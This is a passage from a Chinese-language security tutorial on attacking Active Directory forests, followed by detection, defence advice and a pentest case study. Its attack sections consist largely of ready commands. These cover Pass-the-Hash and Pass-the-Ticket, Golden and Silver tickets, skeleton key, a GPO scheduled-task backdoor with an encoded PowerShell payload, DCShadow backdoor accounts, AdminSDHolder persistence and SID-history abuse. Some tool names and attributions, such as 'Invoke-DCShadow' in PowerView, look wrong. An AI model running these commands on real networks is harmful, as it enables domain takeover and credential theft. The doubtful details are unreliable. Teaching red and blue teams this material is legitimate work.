├── 原理:资源对象控制谁可以委派到它 ├── 攻击:修改 msDS-AllowedToActOnBehalfOfOtherIdentity └── 影响:完全控制目标计算机 ``` ```powershell # 使用 PowerView 设置 RBCD Add-DomainComputer -Identity attackerpc -Domain corp.local $P = New-Object Security.Principal.NTAccount("ATTACKERPC$") Set-DomainObject -Identity targetpc -Set @{'msds-allowedtoactonbehalfofotheridentity'=$P.Translate([System.Security.Principal.SecurityIdentifier]).BinaryForm.ToString()} # 使用 Rubeus 获取票据 Rubeus.exe s4u /user:attackerpc$ /rc4:HASH /impersonateuser:admin /msdsspn:host/target.corp.local /ptt # 然后使用 PsExec 等访问 ``` ### GPO 攻击 #### GPO 权限滥用 ```powershell # 查找可编辑的 GPO Get-NetGPO | Get-NetGPOGroup # 查找 GPO 权限 Find-GPOComputerAdmin -ComputerName SERVER01 # 修改 GPO 添加后门账户 # 1. 找到 GPO 文件位置 # \\domain\SYSVOL\domain\Policies\{GPO-ID}\ # 2. 修改 Group Policy Preferences # 3. 添加本地管理员账户 ``` #### GPO 计划任务后门 ```xml <!-- 在 GPO 的 ScheduledTasks.xml 中添加 --> <TaskV2> <Properties name="Backdoor" taskName="Update" action="C"> <Command>powershell.exe</Command> <Arguments>-enc JABjAGwAaQBlAG4AdAAgAD0AIABO...</Arguments> <RunAsUser>S-1-5-18</RunAsUser> </Properties> </TaskV2> ``` --- ## 横向移动技术 ### Pass-the-Hash (PtH) ```powershell # 使用 Mimikatz mimikatz # privilege::debug mimikatz # sekurlsa::pth /user:admin /domain:CORP /ntlm:HASH /run:powershell # 使用 PsExec python3 psexec.py admin@192.168.1.100 -hashes :HASH # 使用 WMI python3 wmiexec.py admin@192.168.1.100 -hashes :HASH # 使用 CrackMapExec crackmapexec smb 192.168.1.0/24 -u admin -H HASH ``` ### Pass-the-Ticket (PtT) ```powershell # 导出票据 mimikatz # sekurlsa::tickets /export # 注入票据 mimikatz # kerberos::ptt [0;12345]-2-0-60a10000-admin@CORP.kirbi # 使用 Rubeus Rubeus.exe dump /outfile:tickets.txt Rubeus.exe ptt /ticket:base64ticket # 验证 klist ``` ### Golden Ticket (金票攻击) ``` Golden Ticket 要求: ├── krbtgt 账户的 NTLM 哈希 ├── 域 SID ├── 域名 └── 域控制器名称 ``` ```powershell # 使用 Mimikatz 创建金票 mimikatz # kerberos::golden /user:admin /domain:CORP /sid:S-1-5-21-XXX /krbtgt:HASH /id:500 /ptt # 参数说明: # /user: 用户名 # /domain: 域名 # /sid: 域 SID # /krbtgt: krbtgt 的 NTLM 哈希 # /id: RID (500=Administrator) # /ptt: 直接注入票据 # /endin: 票据有效期 (默认 10 年) # 使用 Tiara (Python) python3 tiara.py golden -d CORP -s S-1-5-21-XXX -k HASH -u admin ``` ### Silver Ticket (银票攻击) ``` Silver Ticket vs Golden Ticket: ├── Golden Ticket │ ├── 需要 krbtgt 哈希 │ ├── 可访问所有服务 │ ├── 需要与 DC 通信 (TGS 请求) │ └── 更强大但更易检测 └── Silver Ticket ├── 需要目标服务哈希 ├── 只能访问特定服务 ├── 不需要与 DC 通信 └── 更隐蔽但范围有限 ``` ```powershell # 使用 Mimikatz 创建银票 mimikatz # kerberos::golden /domain:CORP /sid:S-1-5-21-XXX /target:DC01 /service:host /rc4:HASH /user:admin /ptt # 常见服务 SPN: # host - 主机服务 # cifs - 文件共享 # ldap - LDAP 服务 # dns - DNS 服务 # nfs - NFS 服务 ``` ### DCShadow ``` DCShadow 攻击: ├── 原理:注册恶意 DC,推送恶意 AD 更改 ├── 要求:域管权限或适当 ACL ├── 优势:绕过某些审计 └── 影响:持久化、权限提升 ``` ```powershell # 使用 Mimikatz mimikatz # lsadump::dcshadow /push # 使用 PowerView Invoke-DCShadow -Shell -Command "net user backdoor Password123! /add" # 推送更改 mimikatz # lsadump::dcshadow /push ``` --- ## 持久化技术 ### Golden Ticket 持久化 ```powershell # Golden Ticket 有效期默认 10 年 # 即使所有密码更改,金票仍然有效 # 除非: # - krbtgt 密码更改两次 (使旧金票失效) # - 林功能级别提升 # - 检测到并撤销 ``` ### DCShadow 持久化 ```powershell # 使用 DCShadow 修改 AD 对象 # 添加后门账户 Invoke-DCShadow -Shell -Command "net user backdoor Password123! /add /domain" # 修改 ACL Invoke-DCShadow -Shell -Command "dsacls \"DC=corp,DC=local\" /I:T /G attacker:GA" # 添加 SPN (为 Kerberoasting) Invoke-DCShadow -Shell -Command "setspn -A test/backdoor attacker" ``` ### AdminSDHolder ``` AdminSDHolder 攻击: ├── 原理:AdminSDHolder 模板应用于所有保护组 ├── 攻击:修改 AdminSDHolder ACL └── 影响:对所有保护组成员持久访问 ``` ```powershell # 查找 AdminSDHolder 对象 Get-ADObject -Filter "name -like 'AdminSDHolder'" -SearchBase (Get-ADRootDSE).configurationNamingContext # 修改 ACL Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=corp,DC=local" -PrincipalIdentity attacker -Rights All # 1 小时后,所有保护组成员继承此 ACL ``` ### Skeleton Key ``` Skeleton Key (万能密钥): ├── 原理:在 LSASS 中注入,接受任意密码 ├── 要求:域管权限,在 DC 上执行 ├── 影响:所有用户使用空密码或万能密码可登录 └── 检测:LSASS 内存分析 ``` ```powershell # 使用 Mimikatz (在 DC 上) mimikatz # privilege::debug mimikatz # misc::skeleton # 然后可以使用任何密码登录 # 如:密码 "mimikatz" ``` --- ## 域信任攻击 ### 域信任类型 ``` 域信任类型: ├── 父子信任 (Parent-Child) │ └── 自动创建,可传递 ├── 树根信任 (Tree Root) │ └── 林内树之间,可传递 ├── 林信任 (Forest) │ ├── 可传递 │ └── 林间信任 ├── 外部信任 (External) │ ├── 不可传递 │ └── 林内域间或林间 ├── 领域信任 (Realm) │ ├── 不可传递或可传递 │ └── 与非 AD 域 (如 Linux) └── 快捷信任 (Shortcut) ├── 可传递 └── 加速认证 ``` ### 林信任攻击 ``` 林信任攻击路径: ├── 源林 → 信任林 → 目标域 ├── 利用信任传递性 └── 跨林权限提升 ``` ```powershell # 使用 PowerView 枚举信任 Get-NetForestTrust # 使用 Mimikatz 创建跨林金票 mimikatz # kerberos::golden /user:admin /domain:CORP /sid:S-1-5-21-XXX /krbtgt:HASH /rc4:HASH /target:TRUSTED.DOMAIN # 使用 Rubeus Rubeus.exe asktgs /ticket:base64 /service:target.domain/krbtgt /ptt ``` ### SID 过滤绕过 ``` SID 过滤 (SID Filtering): ├── 目的:防止跨林 SID 欺骗 ├── 例外:林信任默认启用 └── 绕过:使用 SID 历史 ``` ```powershell # 使用 SID 历史 mimikatz # kerberos::golden /user:admin /domain:CORP /sid:S-1-5-21-XXX /krbtgt:HASH /sids:S-1-5-21-YYY-519 # -519 = Enterprise Admins RID ``` --- ## 检测与防御 ### 检测技术 #### 事件日志监控 ```powershell # 关键事件 ID # 凭证访问 4624 # 成功登录 4625 # 失败登录 4648 # 使用明文凭证 4672 # 特权登录 # 目录服务访问 4662 # AD 对象访问 (DCSync) 4799 # 安全启用对象访问 # 账户管理 4720 # 创建用户 4728 # 添加到安全组 4732 # 添加到本地组 # 策略更改 4719 # 审计策略更改 5136 # AD 对象修改 5137 # AD 对象创建 ``` #### DCSync 检测 ```powershell # 检测 DCSync 活动 Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4662} | Where-Object {$_.Message -like "*Replicating Directory Changes*"} | Select-Object TimeCreated, Message # 检测非 DC 的复制请求 Get-WinEvent -FilterHashtable @{LogName='Directory Service'; Id=11} | Where-Object {$_.Message -like "*replication*"} ``` #### Kerberoasting 检测 ```powershell # 检测异常的 TGS 请求 Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4769} | Where-Object {$_.Message -like "*0xc"} | # 失败代码 Select-Object TimeCreated, Message # 检测大量 TGS 请求 Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4769} | Group-Object -Property {$_.UserId} | Sort-Object Count -Descending | Select-Object -First 10 ``` ### 防御措施 #### 最小权限原则 ```powershell # 定期审查高权限组 Get-ADGroupMember "Domain Admins" | Select-Object Name # 移除不必要的管理员 Remove-ADGroupMember -Identity "Domain Admins" -Members user -Confirm:$false # 使用 LAPS 管理本地管理员密码 # https://docs.microsoft.com/en-us/windows-server/identity/laps/laps-management ``` #### 凭证保护 ```powershell # 启用 Credential Guard (Windows 10/Server 2016+) # 组策略 → 计算机配置 → 管理模板 → 系统 → Device Guard # 启用"基于虚拟化的安全" # 定期更改 krbtgt 密码 (两次) # 第一次更改 net user krbtgt NewPassword1! /domain # 等待 24 小时 # 第二次更改 net user krbtgt NewPassword2! /domain # 启用 LSA 保护 # 组策略 → 计算机配置 → 管理模板 → 系统 → LSA # 启用"配置 LSASS 保护" ``` #### 监控与审计 ``` 关键审计策略: ├── 账户登录事件 │ ├── 成功 │ └── 失败 ├── 账户管理 │ ├── 创建/删除用户 │ ├── 添加到组 │ └── 密码重置 ├── 目录服务访问 │ ├── 成功 │ └── 失败 ├── 特权使用 │ └── 所有特权操作 └── 策略更改 ├── 审计策略 └── 信任策略 ``` #### 网络分段 ``` AD 网络分段: ├── 隔离域控制器 │ ├── 专用 VLAN │ ├── 限制访问源 │ └── 监控所有流量 ├── 限制 DC 间通信 │ ├── 只允许必要端口 │ └── 监控复制流量 └── 管理网络隔离 ├── 跳板机访问 └── MFA 强制 ``` --- ## 实战案例 ### 案例一:企业域渗透测试 #### 场景描述 ``` 客户:某大型制造企业 域结构:单林多域 - corp.local (根域) - us.corp.local (美国子域) - cn.corp.local (中国子域) 目标:评估 AD 安全性 时间:4 周 ``` #### 攻击路径 ``` Week 1: 侦察 ┌─────────────────────────────────────────────────────────┐ │ - OSINT 收集员工信息 │ │ - 网络扫描识别 DC 和服务器 │ │ - PowerView 收集域信息 │ │ - BloodHound 分析攻击路径 │ │ │ │ 发现: │ │ - 5 个 Kerberoastable 账户 │ │ - 3 个 AS-REP Roastable 账户 │ │ - 2 台未约束委派服务器 │ │ - 到域管的 3 跳路径 │ └─────────────────────────────────────────────────────────┘ Week 2: 初始访问与权限提升 ┌─────────────────────────────────────────────────────────┐ │ - Kerberoasting 攻击 │ │ - 破解 2 个服务账户密码 │ │ - 使用服务账户访问服务器 │ │ - 本地提权 (CVE-2021-41379) │ │ - 提取 LSASS 凭证 │ │ │ │ 获得: │ │ - 3 台服务器本地管理员 │ │ - 1 个域用户明文密码 │ └─────────────────────────────────────────────────────────┘ Week 3: 横向移动 ┌─────────────────────────────────────────────────────────┐ │ - Pass-the-Hash 移动到域成员 │ │ - BloodHound 找到到域管的路径 │ │ - 利用 ACL (GenericWrite) 修改用户 SPN │ │ - 再次 Kerberoasting │ │ │ │ 获得: │ │ - 域管组成员身份 │ │ - 访问所有域成员 │ └─────────────────────────────────────────────────────────┘ Week 4: 域支配与报告 ┌─────────────────────────────────────────────────────────┐ │ - DCSync 获取所有域用户哈希 │ │ - 创建 Golden Ticket │ │ - 验证持久化 │ │ - 清理痕迹 │ │ - 提交报告 │ │ │ │ 成果: │ │ - 完全域控制 │ │ - 所有用户哈希 │ │ - 持久化访问 │ └─────────────────────────────────────────────────────────┘ ``` #### 关键发现 ``` 优势: + EDR 检测到了部分活动 + 日志记录完整 + 关键系统有额外保护 弱点: - 服务账户密码弱 - ACL 配置过于宽松 - 未约束委派存在 - krbtgt 密码从未更改 - 监控告警响应慢 ``` --- ## 总结与思考 ### 核心要点回顾 1. **AD 是企业安全的核心** - 控制 AD = 控制所有资源 - AD 攻击是红队必备技能 - 防御 AD 攻击是蓝队核心能力 2. **信息收集是关键** - PowerView 和 BloodHound 是核心工具 - 了解 AD 结构才能找到攻击路径 - 持续侦察贯穿整个攻击链 3. **凭证攻击最有效** - Kerberoasting、AS-REP Roasting - DCSync、NTDS.dit 提取 - Golden/Silver Ticket 4. **权限提升多样化** - ACL 攻击 (GenericAll、GenericWrite) - 委派攻击 (未约束、约束、RBCD) - GPO 滥用 5. **检测与防御需要多层** - 事件日志监控 - 最小权限原则 - 网络分段 - 持续监控 ### 深入思考 #### 为什么 AD 攻击如此普遍? 1. **广泛部署**: 90%+ 企业使用 AD 2. **配置复杂**: 默认配置存在攻击面 3. **遗留兼容**: 支持旧协议带来风险 4. **权限复杂**: 容易产生提升路径 5. **检测困难**: 合法工具被滥用 #### 云时代的 AD 安全 1. **混合环境挑战** - AD + Azure AD - 身份同步风险 - 云权限提升 2. **新攻击面** - Azure AD Connect - AD FS - 云管理接口 3. **防御演进** - 云身份保护 - 条件访问 - 零信任架构 ### 实战建议 1. **对红队人员**: - 深入学习 AD 协议 (Kerberos、LDAP) - 熟练掌握 BloodHound 分析 - 理解 ACL 和权限模型 - 保持隐蔽,避免大规模扫描 2. **对蓝队人员**: - 部署 AD 监控解决方案 - 定期审查 ACL 和组成员 - 启用高级审计策略 - 定期更改 krbtgt 密码 3. **对组织**: - 实施最小权限原则 - 部署 LAPS 管理本地密码 - 启用 Credential Guard - 定期 AD 安全评估 --- ## 参考资料 ### 学习资源 - **MITRE ATT&CK - Active Directory** - https://attack.mitre.org/techniques/platforms/windows-active-directory/ - **SANS Active Directory Security** - https://www.sans.org/active-directory-security/ - **BloodHound Documentation** - https://bloodhound.readthedocs.io/ ### 工具资源 | 工具 | 用途 | 链接 | |------|------|------| | **BloodHound** | AD 分析 | https://github.com/BloodHoundAD/BloodHound | | **SharpHound** | 数据收集 | https://github.com/BloodHoundAD/SharpHound | | **PowerView** | AD 侦察 | https://github.com/PowerShellMafia/PowerSploit | | **Mimikatz** | 凭证提取 | https://github.com/gentilkiwi/mimikatz | | **Rubeus** | Kerberos 攻击 | https://github.com/GhostPack/Rubeus | | **Impacket** | 协议实现 | https://github.com/SecureAuthCorp/impacket | | **CrackMapExec** | 内网扫描 | https://github.com/byt3bl33d3r/CrackMapExec | | **DCSync** | 凭证转储 | Impacket 套件 | ### 书籍推荐 1. **《Active Directory for Hackers》** - 作者:Sean Metcalf - AD 安全权威指南 2. **《Red Team Development and Operations》** - 章节:Active Directory Exploitation 3. **《Blue Team Handbook: Active Directory Edition》** - 作者:Don Murdoch - AD 防御实战指南 4. **《Identity and Access Management》** - 作者:Mark Morowitz - 身份与访问管理 --- *365 天信息安全技术系列 | Day 237 | 渗透测试系列 | 域森林渗透技术* *创建时间:2026-04-12 | 作者:安全专家 · 严谨专业版*
myh0st
2026年4月13日 23:20
分享文档
收藏文档
上一篇
下一篇
微信扫一扫
复制链接
手机扫一扫进行分享
复制链接
Markdown文件
分享
链接
类型
密码
更新密码